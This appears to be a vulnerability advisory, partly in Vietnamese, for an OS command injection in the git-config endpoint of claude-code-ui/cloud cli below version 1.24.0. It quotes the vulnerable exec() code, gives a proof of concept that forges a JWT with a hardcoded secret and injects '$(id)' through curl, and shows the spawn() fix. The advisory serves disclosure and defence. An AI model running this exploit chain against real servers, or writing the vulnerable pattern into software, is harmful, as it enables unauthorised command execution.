| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| cloud cli | < 1.24.0 | 1.24.0 |
| @siteboon/claude-code-ui | < 1.24.0 | 1.24.0 |
| Field | Value |
|---|---|
| Severity | High |
| CVSS 3.1 | 8.8 (High) — when chained with VULN-01 |
| CWE | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| Attack Vector | Network |
| Authentication | JWT required (bypassable via VULN-01) |
| Affected Files | server/routes/user.js (lines 58-59) |
The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.
This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.
server/routes/user.js lines 58-59:
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);
Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:
`malicious_command` — backtick execution$(malicious_command) — subshell executiongit config --global vector modifies the server-wide git configuration, affecting all git operationsBạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")
# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"gitName":"$(id)","gitEmail":"[email protected]"}'
The server executes:
git config --global user.name "$(id)"
Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.
Replace exec() with spawn() (array arguments, no shell):
// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);